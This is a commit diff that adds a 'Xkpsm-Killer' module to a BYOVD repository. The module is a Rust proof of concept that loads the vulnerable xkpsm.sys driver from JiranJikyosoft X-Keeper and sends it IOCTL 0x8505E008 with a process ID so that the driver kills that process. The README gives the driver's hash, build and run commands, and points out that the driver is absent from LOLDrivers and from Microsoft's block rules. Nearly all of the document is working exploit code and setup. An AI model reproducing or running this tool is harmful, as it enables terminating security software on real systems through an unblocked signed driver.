Add Xkpsm-Killer

Cargo.toml

@@ -14,6 +14,7 @@ members = [
     "UnknownKiller",
     "Viragt64-Killer",
     "Wsftprm-Killer",
+    "Xkpsm-Killer",
 ]
 resolver = "2"
 

README.md

@@ -63,7 +63,8 @@ BYOVD/
 ├── TfSysMon-Killer/                 # ThreatFire sysmon
 ├── UnknownKiller/                   # unattributed unknown.sys
 ├── Viragt64-Killer/                 # Tg Soft viragt64
-└── Wsftprm-Killer/                  # Topaz wsftprm (CVE-2023-52271)
+├── Wsftprm-Killer/                  # Topaz wsftprm (CVE-2023-52271)
+└── Xkpsm-Killer/                    # JiranJikyosoft X-Keeper xkpsm
 ```
 
 Each `*-Killer/` directory contains its own `Cargo.toml`, `src/main.rs` (the `DriverConfig` impl + CLI), `README.md` (driver hashes + usage), and the matching `.sys` file the binary loads at runtime.
@@ -217,6 +218,7 @@ Below are the drivers and their respective PoCs available in this repository:
 - **[UnknownKiller](https://github.com/BlackSnufkin/BYOVD/tree/main/UnknownKiller)**: Targets `unknown.sys` from an unattributed vendor (driver origin TBD).
 - **[Viragt64-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/Viragt64-Killer)**: Targets `viragt64.sys` from `Tg Soft`.
 - **[Wsftprm-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/Wsftprm-Killer)**: Targets `wsftprm.sys` from `Topaz Antifraud` (CVE-2023-52271).
+- **[Xkpsm-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/Xkpsm-Killer)**: Targets `xkpsm.sys` from `JiranJikyosoft X-Keeper`.
 
 ## 🔬 Complete Driver Reverse Engineering Process (x64)
 

Xkpsm-Killer/.gitignore

@@ -0,0 +1 @@
+/target

Xkpsm-Killer/Cargo.toml

@@ -0,0 +1,8 @@
+[package]
+name = "Xkpsm-Killer"
+version.workspace = true
+edition.workspace = true
+
+[dependencies]
+byovd-lib.workspace = true
+clap.workspace = true

Xkpsm-Killer/README.md

@@ -0,0 +1,33 @@
+# Xkpsm-Killer
+- PoC for vulnerability in xkpsm Driver from JiranJikyosoft X-Keeper
+
+- As of 2026-05-08, the driver is **not** listed on [LOLDDrivers](https://www.loldrivers.io/) or in [Microsoft's recommended driver block rules](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/design/microsoft-recommended-driver-block-rules)
+
+Built on [`byovd-lib`](../byovd-lib/) -- implements the `DriverConfig` trait and delegates the full BYOVD flow to the shared library.
+
+**Driver hashes:**
+- `xkpsm.sys` SHA256: `28c5bb735f9fc38e0ebd366978898f0cfcd455e4ff8bf1a321768b09e01ee84d`
+
+## Usage
+
+Place `xkpsm.sys` in the same directory as the executable.
+
+```text
+PS C:\Users\User\Desktop> .\Xkpsm-Killer.exe -h
+BYOVD process killer using Xkpsm driver
+
+Usage: Xkpsm-Killer.exe --name <PROCESS_NAME>
+
+Options:
+  -n, --name <PROCESS_NAME>  Target process name (e.g., notepad.exe)
+  -h, --help                 Print help
+  -V, --version              Print version
+```
+
+```bash
+# Build
+cargo build --release -p Xkpsm-Killer
+
+# Run
+.\Xkpsm-Killer.exe -n notepad.exe
+```

Xkpsm-Killer/src/main.rs

@@ -0,0 +1,56 @@
+use byovd_lib::{DriverConfig, Result};
+use clap::Parser;
+
+// ============================================================================
+// Driver Configuration - xkpsm
+// ============================================================================
+
+struct Xkpsm;
+
+impl DriverConfig for Xkpsm {
+    fn driver_name(&self) -> &str {
+        "xkpsm"
+    }
+
+    fn driver_file(&self) -> &str {
+        "xkpsm.sys"
+    }
+
+    fn device_path(&self) -> &str {
+        "\\\\.\\xkpsm"
+    }
+
+    fn ioctl_code(&self) -> u32 {
+        0x8505E008
+    }
+
+    fn build_ioctl_input(&self, pid: u32, _process_name: &str) -> Vec<u8> {
+        pid.to_ne_bytes().to_vec()
+    }
+
+    fn ioctl_output_size(&self) -> usize {
+        4
+    }
+}
+
+// ============================================================================
+// CLI
+// ============================================================================
+
+#[derive(Parser)]
+#[command(name = "Xkpsm-Killer", version, author = "BlackSnufkin, wwwab")]
+#[command(about = "BYOVD process killer using Xkpsm driver")]
+struct Cli {
+    /// Target process name (e.g., notepad.exe)
+    #[arg(short = 'n', long = "name", required = true)]
+    process_name: String,
+}
+
+// ============================================================================
+// Main
+// ============================================================================
+
+fn main() -> Result<()> {
+    let cli = Cli::parse();
+    byovd_lib::run(&Xkpsm, &cli.process_name, None)
+}